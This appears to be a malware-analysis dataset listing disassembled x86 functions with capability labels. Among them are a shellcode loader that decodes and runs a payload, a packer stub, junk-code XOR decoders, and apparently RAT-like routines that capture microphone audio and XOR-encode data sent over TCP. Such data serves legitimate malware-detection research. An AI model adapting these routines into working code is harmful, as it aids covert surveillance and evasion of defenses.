joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a84a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40a859
pop dword [ebp - 0x10]
mov eax, 0x8df11056
sub eax, 0x8db067fd
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xcafa1983
sub dword [ebp - 0x20], 0x7ca7d438
mov dword [ebp - 0x1c], 0xe88cf1bb
sub dword [ebp - 0x1c], 0xb659a576
mov dword [ebp - 0x18], 0x1f077678
sub dword [ebp - 0x18], 0xd2bb324a
mov dword [ebp - 0x14], 0x93a0a87b
add dword [ebp - 0x14], 0x6c5f5785
lea eax, [ebp - 0x20]
push eax
mov eax, 0x1165c536
add eax, 0xeedc9b1e
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x85a7b44b
add dword [ebp - 0x20], 0xeecab50b
mov dword [ebp - 0x1c], 0x8c21d0ba
sub dword [ebp - 0x1c], 0x4ab56f45
mov dword [ebp - 0x18], 0x69ecb429
add dword [ebp - 0x18], 0xf982b843
mov dword [ebp - 0x14], 0x4bd48ec3
add dword [ebp - 0x14], 0xb42b713d
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x4111e
push 0
call eax
mov ecx, 0x5209
mov edi, eax
mov esi, 0xce7510c1
add esi, 0x31ced93f
add esi, dword [ebp - 0x10]
mov ebx, 0xf42ada2c
add ebx, 0x23cbd6f0
sub dword [ebp - 0xc], 0xd0662386
mov edx, dword [esi]
mov dword [ebp - 0xc], 0xeec544fa
sub edx, ebx
add dword [ebp - 8], 0x8d85e433
mov dword [edi], edx
xor dword [ebp - 8], esi
add edi, 4
add esi, 4
loop 0x40a970
add eax, 0x13af7
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401080
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
xor ebx, ebx
xor esi, esi
xor eax, esi
mov esi, esi
xor esi, eax
mov esi, eax
mov eax, esi
mov esi, esi
xor ebx, esi
neg ebx
sub ebx, 0x7d
not eax
add esi, 0x26
and edi, 0xc4
rcr edx, 0xde
neg esi
sbb edx, 0x2d
inc esi
sub esi, 0x33
rol edi, 0xbc
not eax
rcr ebx, 0xb6
not edx
dec eax
rcl eax, 0xea
sbb ebx, 0xd1
dec edx
dec edx
bswap ebx
sbb edx, 0xc4
add edx, 0x87
inc edi
imul eax
dec esi
dec edx
or ebx, 0xb3
sbb eax, 0x7d
sbb eax, 0xa6
bswap edx
sbb eax, 0xb9
and ebx, 0x63
rol edi, 0xca
rol edx, 0x36
and ebx, 8
imul edi
or esi, 0x10
dec ebx
not eax
imul edi
or ebx, 0xdc
sub eax, 0xbc
imul esi
bswap eax
sub esi, 0x27
rcr ebx, 0x74
ror esi, 0x61
bswap esi
ror esi, 0x4c
rcr esi, 0x8d
xor ecx, ecx
xor edi, edi
xor esi, ebx
mov eax, eax
xor eax, esi
xor esi, esi
mov esi, ebx
xor esi, esi
mov esi, 0xbc
imul edx
rcr edx, 5
inc edx
imul eax
neg ebx
inc ebx
mov eax, 0xba
bswap edi
rcl ebx, 0xb0
dec esi
sub edi, 0xf0
inc edi
and edx, 0xfc
sub esi, 0xdc
ror ebx, 0xfd
not esi
sbb edx, 0x5e
inc esi
mov ebx, 0x72
bswap esi
mov ebx, 0xc1
or eax, 0x6f
rcl edi, 0xe5
imul edi
sub edx, 0xef
neg esi
rcr eax, 0x68
ror esi, 0xff
not edi
neg ebx
mov edx, 0x4b
neg ebx
add eax, 0x86
sub esi, 0xcd
rcr edx, 0x43
sub esi, 0xeb
mov edi, 0x79
imul eax
inc esi
or edx, 0xa1
mov edi, 0x43
rcl esi, 0x8f
rcr ebx, 0x11
imul eax
not ebx
dec esi
imul edx
bswap esi
imul eax
xor esi, esi
xor eax, eax
xor eax, eax
mov esi, eax
mov eax, ebx
mov eax, ebx
mov ebx, eax
xor ebx, eax
xor eax, ebx
mov ecx, dword [ebp + 0xc]
dec edi
add ebx, 0x17
neg eax
inc ebx
rol ebx, 0x80
bswap esi
imul eax
dec esi
dec esi
inc esi
sbb edi, 0xa2
or esi, 0x4f
and ebx, 0x40
inc ebx
dec edi
sbb edi, 0xc6
inc eax
not eax
neg edx
add edi, 0x32
not edx
sbb edi, 0xa2
rcr edi, 0xc7
inc edi
mov edx, 0x94
rcr esi, 0x30
sub eax, 0x8e
rcl esi, 0x90
inc edi
sbb edx, 0x23
rcl edx, 0x49
dec esi
rol eax, 0xd7
ror ebx, 0x68
rcr edx, 0x33
and eax, 0x1f
imul edi
inc esi
neg ebx
sbb edi, 0x51
mov edi, 0x7b
not edx
ror edx, 0x3e
not edx
rcr ebx, 0x70
rol eax, 0xb1
not esi
or ebx, 0xc6
sub ebx, 0xd0
not esi
mov edi, dword [ebp + 8]
mov ebx, ebx
mov eax, eax
mov eax, esi
xor ebx, esi
mov esi, ebx
mov ebx, eax
mov ebx, esi
mov eax, ebx
mov eax, eax
not byte [edi]
mov eax, eax
xor esi, esi
xor esi, ebx
mov esi, eax
xor esi, ebx
xor ebx, ebx
mov esi, eax
xor eax, ebx
xor ebx, ebx
xor esi, ebx
xor eax, esi
xor esi, esi
sub byte [edi], 0xf1
add byte [edi], 0x63
mov esi, ebx
xor esi, ebx
xor eax, eax
mov esi, esi
mov esi, eax
mov eax, esi
xor ebx, eax
xor ebx, eax
xor ebx, esi
imul byte [edi]
inc edi
loop 0x40127f
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x404e50
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x404e8f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404e8f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404e8f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404e8f
cmp dword [ecx + 0x74], 0xe
jbe 0x404e8f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40a9e3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40aa80
push ebx
push esi
call fcn.0040a9ac
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040a940
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40aa2d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40aa7f
push edi
push eax
call fcn.0040b600
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40aa4d
call fcn.004094a1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40aa7e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040a940
add esp, 0x20
test eax, eax
jne 0x40aa6c
push edi
call fcn.004094a1
jmp 0x40aa74
push ebx
call fcn.004094a1
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40bd7d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4abf68
push 0x4abf60
push str.FlsAlloc
push 0x1f
call fcn.0040bc3c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40bdb1
push dword [ebp + 8]
mov ecx, esi
call dword [0x415160]
call esi
jmp 0x40bdb7
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40bdfb
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4abf78
push 0x4abf70
push str.FlsGetValue
push 0x21
call fcn.0040bc3c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40be32
push dword [ebp + 8]
mov ecx, esi
call dword [0x415160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40be3a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4abf80
push 0x4abf78
push str.FlsSetValue
push 0x22
call fcn.0040bc3c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40be74
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x415160]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4112d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4112fd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4112fd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x100013d0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10017a5a
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
mov eax, dword [0x10021100]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esi + 4]
mov dword [ebp - 0x1a8], esi
mov dword [esi], vtable.CClientSocket.0
call fcn.10001000
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], 0
call fcn.10001000
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 1
call fcn.10001000
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 2
call fcn.10001000
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x1a8], 0x2a264024
mov ecx, dword [ebp - 0x1a8]
mov dword [esi + 0xac], eax
mov word [esi + 0xb4], 0x25
mov dword [esi + 0xa8], 0xffffffff
mov dword [esi + 0xb0], ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10004910
mov esp, ebp
pop ebp
ret

Function at 0x100015a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10021100]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
call fcn.100016e0
push dword [esi + 0xac]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0xb5], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0xa8], eax
cmp eax, 0xffffffff
jne 0x100015fa
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10004910
mov esp, ebp
pop ebp
ret 8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x100015e6
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100015e6
push 4
lea eax, [ebp - 0x24]
push eax
push 8
push 0xffff
push dword [esi + 0xa8]
mov dword [ebp - 0x24], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001698
push eax
push eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push dword [esi + 0xa8]
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0x2bf20
mov dword [ebp - 8], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10001bd0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10001ea0
mov ecx, dword [ebp - 4]
add esp, 0x1c
mov dword [esi + 0xa4], eax
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10004910
mov esp, ebp
pop ebp
ret 8
Function at 0x10001af0
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 0xc]
push esi
xor edx, edx
push edi
mov edi, dword [ebp + 8]
test ecx, ecx
jle 0x10001b17
mov al, byte [edx + edi]
xor al, 0x91
sub al, 0x67
mov byte [edx + edi], al
inc edx
cmp edx, ecx
jl 0x10001b08
mov ebx, dword [ebp + 0x10]
mov edx, dword [sym.imp.WS2_32.dll_send]
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp + 8], ecx
cmp ecx, ebx
jb 0x10001b7a
lea esp, [esp]
xor esi, esi
mov eax, dword [ebp - 8]
push 0
push ebx
push edi
push dword [eax + 0xa8]
call edx
test eax, eax
jg 0x10001b51
mov edx, dword [sym.imp.WS2_32.dll_send]
inc esi
cmp esi, 0xf
jl 0x10001b32
cmp esi, 0xf
je 0x10001bbe
mov esi, dword [ebp - 4]
add esi, eax
push 0xa
mov dword [ebp - 4], esi
add edi, ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
mov edx, dword [sym.imp.WS2_32.dll_send]
sub ecx, ebx
mov dword [ebp + 8], ecx
cmp ecx, ebx
jae 0x10001b30
test ecx, ecx
jle 0x10001bac
xor esi, esi
mov eax, dword [ebp - 8]
push 0
push ecx
push edi
push dword [eax + 0xa8]
call edx
test eax, eax
jg 0x10001ba2
mov ecx, dword [ebp + 8]
mov edx, dword [sym.imp.WS2_32.dll_send]
inc esi
cmp esi, 0xf
jl 0x10001b80
cmp esi, 0xf
je 0x10001bbe
mov esi, dword [ebp - 4]
add esi, eax
or eax, 0xffffffff
cmp esi, dword [ebp + 0xc]
pop edi
cmove eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10001ea0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
push 0
push 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
push 0
push 0
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
push dword [ebp + 0x18]
lea eax, [ebp - 0x10]
push eax
push 0x10002130
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10005085
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10002240
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x48], 0
mov dword [edi], vtable.CAudio.0
je 0x10002297
push dword [edi + 0x18]
call dword [sym.imp.WINMM.dll_waveInStop]
push dword [edi + 0x18]
call dword [sym.imp.WINMM.dll_waveInReset]
lea esi, [edi + 0x34]
mov ebx, 2
jmp 0x10002270
push 0x20
push dword [esi]
push dword [edi + 0x18]
call dword [sym.imp.WINMM.dll_waveInUnprepareHeader]
lea esi, [esi + 4]
dec ebx
jne 0x10002270
push dword [edi + 0x18]
call dword [sym.imp.WINMM.dll_waveInClose]
push 0xffffffffffffffff
push dword [edi + 0x30]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp byte [edi + 0x49], 0
je 0x100022cc
push dword [edi + 0x44]
call dword [sym.imp.WINMM.dll_waveOutReset]
lea esi, [edi + 0x34]
mov ebx, 2
mov edi, edi
push 0x20
push dword [esi]
push dword [edi + 0x44]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
lea esi, [esi + 4]
dec ebx
jne 0x100022b0
push dword [edi + 0x44]
call dword [sym.imp.WINMM.dll_waveOutClose]
lea esi, [edi + 0x34]
mov ebx, 2
push dword [esi - 0x2c]
call fcn.10003784
push dword [esi]
call fcn.10003784
push dword [esi - 0x24]
call fcn.10003784
push dword [esi + 8]
call fcn.10003784
add esp, 0x10
lea esi, [esi + 4]
dec ebx
jne 0x100022d4
push dword [edi + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x28]
call esi
push dword [edi + 0x30]
call esi
pop edi
pop esi
pop ebx
ret
Function at 0x10002ca0
Capabilities:
Capture microphone audio
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10021100]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
jne 0x10002cce
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10004910
mov esp, ebp
pop ebp
ret
xorps xmm0, xmm0
movq qword [ebp - 0x10], xmm0
mov eax, 2
mov word [ebp - 0xc], ax
xor eax, eax
mov dword [ebp - 0xa], 0x10
mov word [ebp - 8], ax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push 4
push edi
push 0x10002fa0
push 0
movq qword [ebp - 0x18], xmm0
push 0
mov dword [ebp - 0x18], 0x10001
mov dword [ebp - 0x14], 0x1f40
mov dword [ebp - 0x10], 0x3e80
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x20000
push 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x18]
push ecx
push dword [edi + 0x2c]
mov dword [edi + 0x30], eax
lea eax, [edi + 0x18]
push eax
call dword [sym.imp.WINMM.dll_waveInOpen]
test eax, eax
jne 0x10002cbd
push ebx
push esi
lea esi, [edi + 0x34]
lea ebx, [eax + 2]
lea ecx, [ecx]
mov ecx, dword [esi]
mov eax, dword [esi - 0x2c]
mov dword [ecx], eax
mov ecx, dword [esi]
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
mov eax, dword [esi]
push 0x20
mov dword [eax + 0x10], 0
mov eax, dword [esi]
mov dword [eax + 0x14], 0
push dword [esi]
push dword [edi + 0x18]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
lea esi, [esi + 4]
dec ebx
jne 0x10002d50
mov eax, dword [edi + 0x1c]
push 0x20
push dword [edi + eax*4 + 0x34]
push dword [edi + 0x18]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
push dword [edi + 0x30]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [edi + 0x18]
call dword [sym.imp.WINMM.dll_waveInStart]
mov ecx, dword [ebp - 4]
pop esi
pop ebx
mov byte [edi + 0x48], 1
xor ecx, ebp
mov al, 1
pop edi
call fcn.10004910
mov esp, ebp
pop ebp
ret
Function at 0x1000bb48
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10021100]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.100086ca
mov dword [ebp - 0x14], eax
cmp dword [0x1002753c], edi
jne 0x1000bc39
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x1000bbc6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1000bd19
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x1000bd19
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000bd19
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x1002753c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x10027540], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x10027544], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1002754c], eax
test eax, eax
je 0x1000bc36
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10027548], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1000bc5e
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1000bc51
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x1000bc73
push 4
pop eax
jmp 0x1000bd1b
cmp dword [ebp - 0x14], edi
je 0x1000bc73
push dword [0x1002753c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1000bc58
mov eax, dword [0x10027548]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x1000bcd1
cmp dword [0x1002754c], esi
je 0x1000bcd1
push eax
call ebx
push dword [0x1002754c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1000bcd1
test eax, eax
je 0x1000bcd1
call ecx
test eax, eax
je 0x1000bcc6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1000bcc6
test byte [ebp - 8], 1
jne 0x1000bcd1
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x1000bd01
mov eax, dword [0x10027540]
cmp eax, esi
je 0x1000bcfe
push eax
call ebx
test eax, eax
je 0x1000bcfe
call eax
mov edi, eax
test edi, edi
je 0x1000bcfe
mov eax, dword [0x10027544]
cmp eax, esi
je 0x1000bcfe
push eax
call ebx
test eax, eax
je 0x1000bcfe
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x1002753c]
call ebx
test eax, eax
je 0x1000bd19
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x1000bd1b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004910
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x10027f00
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
nop word cs:[eax + eax]
nop dword [eax]
mov ecx, dword [0x100701e0]
mov eax, dword [0x10068e54]
mov edx, dword [0x10068e58]
mov esi, eax
or esi, edx
not esi
add esi, edx
not eax
or eax, edx
sub esi, eax
add esi, 0xa
cmp dword [0x100701dc], esi
setl al
lea edx, [ecx - 1]
imul edx, ecx
and edx, 1
mov ecx, dword [0x10068e5c]
mov esi, dword [0x10068e60]
mov edi, ecx
and edi, esi
mov ebx, edi
sub ebx, ecx
xor ecx, esi
add ecx, ebx
not esi
add esi, ecx
lea ecx, [edi + esi]
add ecx, 1
cmp edx, ecx
sete cl
or cl, al
add cl, 1
test cl, 1
jne 0x10027f10
mov eax, 1
pop esi
pop edi
pop ebx
ret 0xc
Function at 0x1005537d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x100553bc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100553bc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100553bc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x100553bc
cmp dword [ecx + 0x74], 0xe
jbe 0x100553bc
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1005806d
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1005810a
push ebx
push esi
call fcn.10058036
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10057fca
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100580b7
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10058109
push edi
push eax
call fcn.1005600d
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100580d7
call fcn.1005605b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10058108
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10057fca
add esp, 0x20
test eax, eax
jne 0x100580f6
push edi
call fcn.1005605b
jmp 0x100580fe
push ebx
call fcn.1005605b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10058377
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1005f668
push 0x1005f660
push str.FlsAlloc
push 0x1f
call fcn.10058293
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100583ab
push dword [ebp + 8]
mov ecx, esi
call dword [0x1005e120]
call esi
jmp 0x100583b1
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100583f5
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1005f678
push 0x1005f670
push str.FlsGetValue
push 0x21
call fcn.10058293
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1005842c
push dword [ebp + 8]
mov ecx, esi
call dword [0x1005e120]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10058434
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1005f680
push 0x1005f678
push str.FlsSetValue
push 0x22
call fcn.10058293
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1005846e
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1005e120]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1005daa0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1005dacd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1005dacd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret